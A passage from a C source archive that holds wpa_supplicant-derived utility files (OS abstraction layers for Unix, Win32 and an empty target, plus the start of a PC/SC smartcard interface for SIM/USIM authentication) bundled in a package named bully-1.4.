s2++; n--; if (n == 0) return 0; } return *s1 - *s2; } char * os_strncpy(char *dest, const char *src, size_t n) { char *d = dest; while (n--) { *d = *src; if (*src == '\0') break; d++; src++; } return dest; } size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } char * os_strstr(const char *haystack, const char *needle) { size_t len = os_strlen(needle); while (*haystack) { if (os_strncmp(haystack, needle, len) == 0) return (char *) haystack; haystack++; } return NULL; } int os_snprintf(char *str, size_t size, const char *format, ...) { va_list ap; int ret; /* See http://www.ijs.si/software/snprintf/ for portable * implementation of snprintf. */ va_start(ap, format); ret = vsnprintf(str, size, format, ap); va_end(ap); if (size > 0) str[size - 1] = '\0'; return ret; } bully-1.4-00/src/utils/os_none.c000077500000000000000000000063111361530463600164700ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Empty OS specific functions * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file can be used as a starting point when adding a new OS target. The * functions here do not really work as-is since they are just empty or only * return an error value. os_internal.c can be used as another starting point * or reference since it has example implementation of many of these functions. */ #include "includes.h" #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { } int os_get_time(struct os_time *t) { return -1; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { return -1; } int os_daemonize(const char *pid_file) { return -1; } void os_daemonize_terminate(const char *pid_file) { } int os_get_random(unsigned char *buf, size_t len) { return -1; } unsigned long os_random(void) { return 0; } char * os_rel2abs_path(const char *rel_path) { return NULL; /* strdup(rel_path) can be used here */ } int os_program_init(void) { return 0; } void os_program_deinit(void) { } int os_setenv(const char *name, const char *value, int overwrite) { return -1; } int os_unsetenv(const char *name) { return -1; } char * os_readfile(const char *name, size_t *len) { return NULL; } void * os_zalloc(size_t size) { return NULL; } #ifdef OS_NO_C_LIB_DEFINES void * os_malloc(size_t size) { return NULL; } void * os_realloc(void *ptr, size_t size) { return NULL; } void os_free(void *ptr) { } void * os_memcpy(void *dest, const void *src, size_t n) { return dest; } void * os_memmove(void *dest, const void *src, size_t n) { return dest; } void * os_memset(void *s, int c, size_t n) { return s; } int os_memcmp(const void *s1, const void *s2, size_t n) { return 0; } char * os_strdup(const char *s) { return NULL; } size_t os_strlen(const char *s) { return 0; } int os_strcasecmp(const char *s1, const char *s2) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strcmp(s1, s2); } int os_strncasecmp(const char *s1, const char *s2, size_t n) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strncmp(s1, s2, n); } char * os_strchr(const char *s, int c) { return NULL; } char * os_strrchr(const char *s, int c) { return NULL; } int os_strcmp(const char *s1, const char *s2) { return 0; } int os_strncmp(const char *s1, const char *s2, size_t n) { return 0; } char * os_strncpy(char *dest, const char *src, size_t n) { return dest; } size_t os_strlcpy(char *dest, const char *src, size_t size) { return 0; } char * os_strstr(const char *haystack, const char *needle) { return NULL; } int os_snprintf(char *str, size_t size, const char *format, ...) { return 0; } #endif /* OS_NO_C_LIB_DEFINES */ bully-1.4-00/src/utils/os_unix.c000077500000000000000000000164671361530463600165310ustar00rootroot00000000000000/* * OS specific functions for UNIX/POSIX systems * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "os.h" #ifdef WPA_TRACE #include "common.h" #include "list.h" #include "wpa_debug.h" #include "trace.h" static struct dl_list alloc_list; #define ALLOC_MAGIC 0xa84ef1b2 #define FREED_MAGIC 0x67fd487a struct os_alloc_trace { unsigned int magic; struct dl_list list; size_t len; WPA_TRACE_INFO }; #endif /* WPA_TRACE */ void os_sleep(os_time_t sec, os_time_t usec) { if (sec) sleep(sec); if (usec) usleep(usec); } int os_get_time(struct os_time *t) { int res; struct timeval tv; res = gettimeofday(&tv, NULL); t->sec = tv.tv_sec; t->usec = tv.tv_usec; return res; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm, *tm1; time_t t_local, t1, t2; os_time_t tz_offset; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; t_local = mktime(&tm); /* figure out offset to UTC */ tm1 = localtime(&t_local); if (tm1) { t1 = mktime(tm1); tm1 = gmtime(&t_local); if (tm1) { t2 = mktime(tm1); tz_offset = t2 - t1; } else tz_offset = 0; } else tz_offset = 0; *t = (os_time_t) t_local - tz_offset; return 0; } #ifdef __APPLE__ #include static int os_daemon(int nochdir, int noclose) { int devnull; if (chdir("/") < 0) return -1; devnull = open("/dev/null", O_RDWR); if (devnull < 0) return -1; if (dup2(devnull, STDIN_FILENO) < 0) { close(devnull); return -1; } if (dup2(devnull, STDOUT_FILENO) < 0) { close(devnull); return -1; } if (dup2(devnull, STDERR_FILENO) < 0) { close(devnull); return -1; } return 0; } #else /* __APPLE__ */ #define os_daemon daemon #endif /* __APPLE__ */ int os_daemonize(const char *pid_file) { #ifdef __uClinux__ return -1; #else /* __uClinux__ */ if (os_daemon(0, 0)) { perror("daemon"); return -1; } if (pid_file) { FILE *f = fopen(pid_file, "w"); if (f) { fprintf(f, "%u\n", getpid()); fclose(f); } } return -0; #endif /* __uClinux__ */ } void os_daemonize_terminate(const char *pid_file) { if (pid_file) unlink(pid_file); } int os_get_random(unsigned char *buf, size_t len) { FILE *f; size_t rc; f = fopen("/dev/urandom", "rb"); if (f == NULL) { printf("Could not open /dev/urandom.\n"); return -1; } rc = fread(buf, 1, len, f); fclose(f); return rc != len ? -1 : 0; } unsigned long os_random(void) { return random(); } char * os_rel2abs_path(const char *rel_path) { char *buf = NULL, *cwd, *ret; size_t len = 128, cwd_len, rel_len, ret_len; int last_errno; if (rel_path[0] == '/') return os_strdup(rel_path); for (;;) { buf = os_malloc(len); if (buf == NULL) return NULL; cwd = getcwd(buf, len); if (cwd == NULL) { last_errno = errno; os_free(buf); if (last_errno != ERANGE) return NULL; len *= 2; if (len > 2000) return NULL; } else { buf[len - 1] = '\0'; break; } } cwd_len = os_strlen(cwd); rel_len = os_strlen(rel_path); ret_len = cwd_len + 1 + rel_len + 1; ret = os_malloc(ret_len); if (ret) { os_memcpy(ret, cwd, cwd_len); ret[cwd_len] = '/'; os_memcpy(ret + cwd_len + 1, rel_path, rel_len); ret[ret_len - 1] = '\0'; } os_free(buf); return ret; } int os_program_init(void) { #ifdef WPA_TRACE dl_list_init(&alloc_list); #endif /* WPA_TRACE */ return 0; } void os_program_deinit(void) { #ifdef WPA_TRACE struct os_alloc_trace *a; unsigned long total = 0; dl_list_for_each(a, &alloc_list, struct os_alloc_trace, list) { total += a->len; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "MEMLEAK[%p]: invalid magic 0x%x " "len %lu", a, a->magic, (unsigned long) a->len); continue; } wpa_printf(MSG_INFO, "MEMLEAK[%p]: len %lu", a, (unsigned long) a->len); wpa_trace_dump("memleak", a); } if (total) wpa_printf(MSG_INFO, "MEMLEAK: total %lu bytes", (unsigned long) total); #endif /* WPA_TRACE */ } int os_setenv(const char *name, const char *value, int overwrite) { return setenv(name, value, overwrite); } int os_unsetenv(const char *name) { #if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__APPLE__) || \ defined(__OpenBSD__) unsetenv(name); return 0; #else return unsetenv(name); #endif } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = os_malloc(*len); if (buf == NULL) { fclose(f); return NULL; } if (fread(buf, 1, *len, f) != *len) { fclose(f); os_free(buf); return NULL; } fclose(f); return buf; } #ifndef WPA_TRACE void * os_zalloc(size_t size) { return calloc(1, size); } #endif /* WPA_TRACE */ size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } #ifdef WPA_TRACE void * os_malloc(size_t size) { struct os_alloc_trace *a; a = malloc(sizeof(*a) + size); if (a == NULL) return NULL; a->magic = ALLOC_MAGIC; dl_list_add(&alloc_list, &a->list); a->len = size; wpa_trace_record(a); return a + 1; } void * os_realloc(void *ptr, size_t size) { struct os_alloc_trace *a; size_t copy_len; void *n; if (ptr == NULL) return os_malloc(size); a = (struct os_alloc_trace *) ptr - 1; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "REALLOC[%p]: invalid magic 0x%x%s", a, a->magic, a->magic == FREED_MAGIC ? " (already freed)" : ""); wpa_trace_show("Invalid os_realloc() call"); abort(); } n = os_malloc(size); if (n == NULL) return NULL; copy_len = a->len; if (copy_len > size) copy_len = size; os_memcpy(n, a + 1, copy_len); os_free(ptr); return n; } void os_free(void *ptr) { struct os_alloc_trace *a; if (ptr == NULL) return; a = (struct os_alloc_trace *) ptr - 1; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "FREE[%p]: invalid magic 0x%x%s", a, a->magic, a->magic == FREED_MAGIC ? " (already freed)" : ""); wpa_trace_show("Invalid os_free() call"); abort(); } dl_list_del(&a->list); a->magic = FREED_MAGIC; wpa_trace_check_ref(ptr); free(a); } void * os_zalloc(size_t size) { void *ptr = os_malloc(size); if (ptr) os_memset(ptr, 0, size); return ptr; } char * os_strdup(const char *s) { size_t len; char *d; len = os_strlen(s); d = os_malloc(len + 1); if (d == NULL) return NULL; os_memcpy(d, s, len); d[len] = '\0'; return d; } #endif /* WPA_TRACE */ bully-1.4-00/src/utils/os_win32.c000077500000000000000000000073401361530463600164760ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / OS specific functions for Win32 systems * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { if (sec) Sleep(sec * 1000); if (usec) Sleep(usec / 1000); } int os_get_time(struct os_time *t) { #define EPOCHFILETIME (116444736000000000ULL) FILETIME ft; LARGE_INTEGER li; ULONGLONG tt; #ifdef _WIN32_WCE SYSTEMTIME st; GetSystemTime(&st); SystemTimeToFileTime(&st, &ft); #else /* _WIN32_WCE */ GetSystemTimeAsFileTime(&ft); #endif /* _WIN32_WCE */ li.LowPart = ft.dwLowDateTime; li.HighPart = ft.dwHighDateTime; tt = (li.QuadPart - EPOCHFILETIME) / 10; t->sec = (os_time_t) (tt / 1000000); t->usec = (os_time_t) (tt % 1000000); return 0; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm, *tm1; time_t t_local, t1, t2; os_time_t tz_offset; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; t_local = mktime(&tm); /* figure out offset to UTC */ tm1 = localtime(&t_local); if (tm1) { t1 = mktime(tm1); tm1 = gmtime(&t_local); if (tm1) { t2 = mktime(tm1); tz_offset = t2 - t1; } else tz_offset = 0; } else tz_offset = 0; *t = (os_time_t) t_local - tz_offset; return 0; } int os_daemonize(const char *pid_file) { /* TODO */ return -1; } void os_daemonize_terminate(const char *pid_file) { } int os_get_random(unsigned char *buf, size_t len) { HCRYPTPROV prov; BOOL ret; if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) return -1; ret = CryptGenRandom(prov, len, buf); CryptReleaseContext(prov, 0); return ret ? 0 : -1; } unsigned long os_random(void) { return rand(); } char * os_rel2abs_path(const char *rel_path) { return _strdup(rel_path); } int os_program_init(void) { #ifdef CONFIG_NATIVE_WINDOWS WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 0), &wsaData)) { printf("Could not find a usable WinSock.dll\n"); return -1; } #endif /* CONFIG_NATIVE_WINDOWS */ return 0; } void os_program_deinit(void) { #ifdef CONFIG_NATIVE_WINDOWS WSACleanup(); #endif /* CONFIG_NATIVE_WINDOWS */ } int os_setenv(const char *name, const char *value, int overwrite) { return -1; } int os_unsetenv(const char *name) { return -1; } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = malloc(*len); if (buf == NULL) { fclose(f); return NULL; } fread(buf, 1, *len, f); fclose(f); return buf; } void * os_zalloc(size_t size) { return calloc(1, size); } size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } bully-1.4-00/src/utils/pcsc_funcs.c000077500000000000000000001011201361530463600171500ustar00rootroot00000000000000/* * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM * Copyright (c) 2004-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file implements wrapper functions for accessing GSM SIM and 3GPP USIM * cards through PC/SC smartcard library. These functions are used to implement * authentication routines for EAP-SIM and EAP-AKA. */ #include "includes.h" #include #include "common.h" #include "pcsc_funcs.h" /* See ETSI GSM 11.11 and ETSI TS 102 221 for details. * SIM commands: * Command APDU: CLA INS P1 P2 P3 Data * CLA (class of instruction): A0 for GSM, 00 for USIM * INS (instruction) * P1 P2 P3 (parameters, P3 = length of Data) * Response APDU: Data SW1 SW2 * SW1 SW2 (Status words) * Commands (INS P1 P2 P3): * SELECT: A4 00 00 02 * GET RESPONSE: C0 00 00 * RUN GSM ALG: 88 00 00 00 * RUN UMTS ALG: 88 00 81 data: 0x10 | RAND | 0x10 | AUTN * P1 = ID of alg in card * P2 = ID of secret key * READ BINARY: B0 * READ RECORD: B2 * P2 (mode) = '02' (next record), '03' (previous record), * '04' (absolute mode) * VERIFY CHV: 20 00 08 * CHANGE CHV: 24 00 10 * DISABLE CHV: 26 00 01 08 * ENABLE CHV: 28 00 01 08 * UNBLOCK CHV: 2C 00 <00=CHV1, 02=CHV2> 10 * SLEEP: FA 00 00 00 */ /* GSM SIM commands */ #define SIM_CMD_SELECT 0xa0, 0xa4, 0x00, 0x00, 0x02 #define SIM_CMD_RUN_GSM_ALG 0xa0, 0x88, 0x00, 0x00, 0x10 #define SIM_CMD_GET_RESPONSE 0xa0, 0xc0, 0x00, 0x00 #define SIM_CMD_READ_BIN 0xa0, 0xb0, 0x00, 0x00 #define SIM_CMD_READ_RECORD 0xa0, 0xb2, 0x00, 0x00 #define SIM_CMD_VERIFY_CHV1 0xa0, 0x20, 0x00, 0x01, 0x08 /* USIM commands */ #define USIM_CLA 0x00 #define USIM_CMD_RUN_UMTS_ALG 0x00, 0x88, 0x00, 0x81, 0x22 #define USIM_CMD_GET_RESPONSE 0x00, 0xc0, 0x00, 0x00 #define SIM_RECORD_MODE_ABSOLUTE 0x04 #define USIM_FSP_TEMPL_TAG 0x62 #define USIM_TLV_FILE_DESC 0x82 #define USIM_TLV_FILE_ID 0x83 #define USIM_TLV_DF_NAME 0x84 #define USIM_TLV_PROPR_INFO 0xA5 #define USIM_TLV_LIFE_CYCLE_STATUS 0x8A #define USIM_TLV_FILE_SIZE 0x80 #define USIM_TLV_TOTAL_FILE_SIZE 0x81 #define USIM_TLV_PIN_STATUS_TEMPLATE 0xC6 #define USIM_TLV_SHORT_FILE_ID 0x88 #define USIM_PS_DO_TAG 0x90 #define AKA_RAND_LEN 16 #define AKA_AUTN_LEN 16 #define AKA_AUTS_LEN 14 #define RES_MAX_LEN 16 #define IK_LEN 16 #define CK_LEN 16 typedef enum { SCARD_GSM_SIM, SCARD_USIM } sim_types; struct scard_data { SCARDCONTEXT ctx; SCARDHANDLE card; DWORD protocol; sim_types sim_type; int pin1_required; }; #ifdef __MINGW32_VERSION /* MinGW does not yet support WinScard, so load the needed functions * dynamically from winscard.dll for now. */ static HINSTANCE dll = NULL; /* winscard.dll */ static const SCARD_IO_REQUEST *dll_g_rgSCardT0Pci, *dll_g_rgSCardT1Pci; #undef SCARD_PCI_T0 #define SCARD_PCI_T0 (dll_g_rgSCardT0Pci) #undef SCARD_PCI_T1 #define SCARD_PCI_T1 (dll_g_rgSCardT1Pci) static WINSCARDAPI LONG WINAPI (*dll_SCardEstablishContext)(IN DWORD dwScope, IN LPCVOID pvReserved1, IN LPCVOID pvReserved2, OUT LPSCARDCONTEXT phContext); #define SCardEstablishContext dll_SCardEstablishContext static long (*dll_SCardReleaseContext)(long hContext); #define SCardReleaseContext dll_SCardReleaseContext static WINSCARDAPI LONG WINAPI (*dll_SCardListReadersA)(IN SCARDCONTEXT hContext, IN LPCSTR mszGroups, OUT LPSTR mszReaders, IN OUT LPDWORD pcchReaders); #undef SCardListReaders #define SCardListReaders dll_SCardListReadersA static WINSCARDAPI LONG WINAPI (*dll_SCardConnectA)(IN SCARDCONTEXT hContext, IN LPCSTR szReader, IN DWORD dwShareMode, IN DWORD dwPreferredProtocols, OUT LPSCARDHANDLE phCard, OUT LPDWORD pdwActiveProtocol); #undef SCardConnect #define SCardConnect dll_SCardConnectA static WINSCARDAPI LONG WINAPI (*dll_SCardDisconnect)(IN SCARDHANDLE hCard, IN DWORD dwDisposition); #define SCardDisconnect dll_SCardDisconnect static WINSCARDAPI LONG WINAPI (*dll_SCardTransmit)(IN SCARDHANDLE hCard, IN LPCSCARD_IO_REQUEST pioSendPci, IN LPCBYTE pbSendBuffer, IN DWORD cbSendLength, IN OUT LPSCARD_IO_REQUEST pioRecvPci, OUT LPBYTE pbRecvBuffer, IN OUT LPDWORD pcbRecvLength); #define SCardTransmit dll_SCardTransmit static WINSCARDAPI LONG WINAPI (*dll_SCardBeginTransaction)(IN SCARDHANDLE hCard); #define SCardBeginTransaction dll_SCardBeginTransaction static WINSCARDAPI LONG WINAPI (*dll_SCardEndTransaction)(IN SCARDHANDLE hCard, IN DWORD dwDisposition); #define SCardEndTransaction dll_SCardEndTransaction static int mingw_load_symbols(void) { char *sym; if (dll) return 0; dll = LoadLibrary("winscard"); if (dll == NULL) { wpa_printf(MSG_DEBUG, "WinSCard: Could not load winscard.dll " "library"); return -1; } #define LOADSYM(s) \ sym = #s; \ dll_ ## s = (void *) GetProcAddress(dll, sym); \ if (dll_ ## s == NULL) \ goto fail; LOADSYM(SCardEstablishContext); LOADSYM(SCardReleaseContext); LOADSYM(SCardListReadersA); LOADSYM(SCardConnectA); LOADSYM(SCardDisconnect); LOADSYM(SCardTransmit); LOADSYM(SCardBeginTransaction); LOADSYM(SCardEndTransaction); LOADSYM(g_rgSCardT0Pci); LOADSYM(g_rgSCardT1Pci); #undef LOADSYM return 0; fail: wpa_printf(MSG_DEBUG, "WinSCard: Could not get address for %s from " "winscard.dll", sym); FreeLibrary(dll); dll = NULL; return -1; } static void mingw_unload_symbols(void) { if (dll == NULL) return; FreeLibrary(dll); dll = NULL; } #else /* __MINGW32_VERSION */ #define mingw_load_symbols() 0 #define mingw_unload_symbols() do { } while (0) #endif /* __MINGW32_VERSION */ static int _scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len, sim_types sim_type, unsigned char *aid, size_t aidlen); static int scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len); static int scard_verify_pin(struct scard_data *scard, const char *pin); static int scard_get_record_len(struct scard_data *scard, unsigned char recnum, unsigned char mode); static int scard_read_record(struct scard_data *scard, unsigned char *data, size_t len, unsigned char recnum, unsigned char mode); static int scard_parse_fsp_templ(unsigned char *buf, size_t buf_len, int *ps_do, int *file_len) { unsigned char *pos, *end; if (ps_do) *ps_do = -1; if (file_len) *file_len = -1; pos = buf; end = pos + buf_len; if (*pos != USIM_FSP_TEMPL_TAG) { wpa_printf(MSG_DEBUG, "SCARD: file header did not " "start with FSP template tag"); return -1; } pos++; if (pos >= end) return -1; if ((pos + pos[0]) < end) end = pos + 1 + pos[0]; pos++; wpa_hexdump(MSG_DEBUG, "SCARD: file header FSP template", pos, end - pos); while (pos + 1 < end) { wpa_printf(MSG_MSGDUMP, "SCARD: file header TLV " "0x%02x len=%d", pos[0], pos[1]); if (pos + 2 + pos[1] > end) break; if (pos[0] == USIM_TLV_FILE_SIZE && (pos[1] == 1 || pos[1] == 2) && file_len) { if (pos[1] == 1) *file_len = (int) pos[2]; else *file_len = ((int) pos[2] << 8) | (int) pos[3]; wpa_printf(MSG_DEBUG, "SCARD: file_size=%d", *file_len); } if (pos[0] == USIM_TLV_PIN_STATUS_TEMPLATE && pos[1] >= 2 && pos[2] == USIM_PS_DO_TAG && pos[3] >= 1 && ps_do) { wpa_printf(MSG_DEBUG, "SCARD: PS_DO=0x%02x", pos[4]); *ps_do = (int) pos[4]; } pos += 2 + pos[1]; if (pos == end) return 0; } return -1; } static int scard_pin_needed(struct scard_data *scard, unsigned char *hdr, size_t hlen) { if (scard->sim_type == SCARD_GSM_SIM) { if (hlen > SCARD_CHV1_OFFSET && !(hdr[SCARD_CHV1_OFFSET] & SCARD_CHV1_FLAG)) return 1; return 0; } if (scard->sim_type == SCARD_USIM) { int ps_do; if (scard_parse_fsp_templ(hdr, hlen, &ps_do, NULL)) return -1; /* TODO: there could be more than one PS_DO entry because of * multiple PINs in key reference.. */ if (ps_do > 0 && (ps_do & 0x80)) return 1; return 0; } return -1; } static int scard_get_aid(struct scard_data *scard, unsigned char *aid, size_t maxlen) { int rlen, rec; struct efdir { unsigned char appl_template_tag; /* 0x61 */ unsigned char appl_template_len; unsigned char appl_id_tag; /* 0x4f */ unsigned char aid_len; unsigned char rid[5]; unsigned char appl_code[2]; /* 0x1002 for 3G USIM */ } *efdir; unsigned char buf[100]; size_t blen; efdir = (struct efdir *) buf; blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_EF_DIR, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read EF_DIR"); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR select", buf, blen); for (rec = 1; rec < 10; rec++) { rlen = scard_get_record_len(scard, rec, SIM_RECORD_MODE_ABSOLUTE); if (rlen < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to get EF_DIR " "record length"); return -1; } blen = sizeof(buf); if (rlen > (int) blen) { wpa_printf(MSG_DEBUG, "SCARD: Too long EF_DIR record"); return -1; } if (scard_read_record(scard, buf, rlen, rec, SIM_RECORD_MODE_ABSOLUTE) < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read " "EF_DIR record %d", rec); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR record", buf, rlen); if (efdir->appl_template_tag != 0x61) { wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " "template tag 0x%x", efdir->appl_template_tag); continue; } if (efdir->appl_template_len > rlen - 2) { wpa_printf(MSG_DEBUG, "SCARD: Too long application " "template (len=%d rlen=%d)", efdir->appl_template_len, rlen); continue; } if (efdir->appl_id_tag != 0x4f) { wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " "identifier tag 0x%x", efdir->appl_id_tag); continue; } if (efdir->aid_len < 1 || efdir->aid_len > 16) { wpa_printf(MSG_DEBUG, "SCARD: Invalid AID length %d", efdir->aid_len); continue; } wpa_hexdump(MSG_DEBUG, "SCARD: AID from EF_DIR record", efdir->rid, efdir->aid_len); if (efdir->appl_code[0] == 0x10 && efdir->appl_code[1] == 0x02) { wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app found from " "EF_DIR record %d", rec); break; } } if (rec >= 10) { wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app not found " "from EF_DIR records"); return -1; } if (efdir->aid_len > maxlen) { wpa_printf(MSG_DEBUG, "SCARD: Too long AID"); return -1; } os_memcpy(aid, efdir->rid, efdir->aid_len); return efdir->aid_len; } /** * scard_init - Initialize SIM/USIM connection using PC/SC * @sim_type: Allowed SIM types (SIM, USIM, or both) * Returns: Pointer to private data structure, or %NULL on failure * * This function is used to initialize SIM/USIM connection. PC/SC is used to * open connection to the SIM/USIM card and the card is verified to support the * selected sim_type. In addition, local flag is set if a PIN is needed to * access some of the card functions. Once the connection is not needed * anymore, scard_deinit() can be used to close it. */ struct scard_data * scard_init(scard_sim_type sim_type) { long ret; unsigned long len; struct scard_data *scard; #ifdef CONFIG_NATIVE_WINDOWS TCHAR *readers = NULL; #else /* CONFIG_NATIVE_WINDOWS */ char *readers = NULL; #endif /* CONFIG_NATIVE_WINDOWS */ unsigned char buf[100]; size_t blen; int transaction = 0; int pin_needed; wpa_printf(MSG_DEBUG, "SCARD: initializing smart card interface"); if (mingw_load_symbols()) return NULL; scard = os_zalloc(sizeof(*scard)); if (scard == NULL) return NULL; ret = SCardEstablishContext(SCARD_SCOPE_SYSTEM, NULL, NULL, &scard->ctx); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not establish smart card " "context (err=%ld)", ret); goto failed; } ret = SCardListReaders(scard->ctx, NULL, NULL, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed " "(err=%ld)", ret); goto failed; } #ifdef UNICODE len *= 2; #endif /* UNICODE */ readers = os_malloc(len); if (readers == NULL) { wpa_printf(MSG_INFO, "SCARD: malloc failed\n"); goto failed; } ret = SCardListReaders(scard->ctx, NULL, readers, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed(2) " "(err=%ld)", ret); goto failed; } if (len < 3) { wpa_printf(MSG_WARNING, "SCARD: No smart card readers " "available."); goto failed; } /* readers is a list of available reader. Last entry is terminated with * double NUL. * TODO: add support for selecting the reader; now just use the first * one.. */ #ifdef UNICODE wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%S'", readers); #else /* UNICODE */ wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%s'", readers); #endif /* UNICODE */ ret = SCardConnect(scard->ctx, readers, SCARD_SHARE_SHARED, SCARD_PROTOCOL_T0, &scard->card, &scard->protocol); if (ret != SCARD_S_SUCCESS) { if (ret == (long) SCARD_E_NO_SMARTCARD) wpa_printf(MSG_INFO, "No smart card inserted."); else wpa_printf(MSG_WARNING, "SCardConnect err=%lx", ret); goto failed; } os_free(readers); readers = NULL; wpa_printf(MSG_DEBUG, "SCARD: card=0x%x active_protocol=%lu (%s)", (unsigned int) scard->card, scard->protocol, scard->protocol == SCARD_PROTOCOL_T0 ? "T0" : "T1"); ret = SCardBeginTransaction(scard->card); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not begin transaction: " "0x%x", (unsigned int) ret); goto failed; } transaction = 1; blen = sizeof(buf); scard->sim_type = SCARD_GSM_SIM; if (sim_type == SCARD_USIM_ONLY || sim_type == SCARD_TRY_BOTH) { wpa_printf(MSG_DEBUG, "SCARD: verifying USIM support"); if (_scard_select_file(scard, SCARD_FILE_MF, buf, &blen, SCARD_USIM, NULL, 0)) { wpa_printf(MSG_DEBUG, "SCARD: USIM is not supported"); if (sim_type == SCARD_USIM_ONLY) goto failed; wpa_printf(MSG_DEBUG, "SCARD: Trying to use GSM SIM"); scard->sim_type = SCARD_GSM_SIM; } else { wpa_printf(MSG_DEBUG, "SCARD: USIM is supported"); scard->sim_type = SCARD_USIM; } } if (scard->sim_type == SCARD_GSM_SIM) { blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_MF, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read MF"); goto failed; } blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_GSM_DF, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read GSM DF"); goto failed; } } else { unsigned char aid[32]; int aid_len; aid_len = scard_get_aid(scard, aid, sizeof(aid)); if (aid_len < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to find AID for " "3G USIM app - try to use standard 3G RID"); os_memcpy(aid, "\xa0\x00\x00\x00\x87", 5); aid_len = 5; } wpa_hexdump(MSG_DEBUG, "SCARD: 3G USIM AID", aid, aid_len); /* Select based on AID = 3G RID from EF_DIR. This is usually * starting with A0 00 00 00 87. */ blen = sizeof(buf); if (_scard_select_file(scard, 0, buf, &blen, 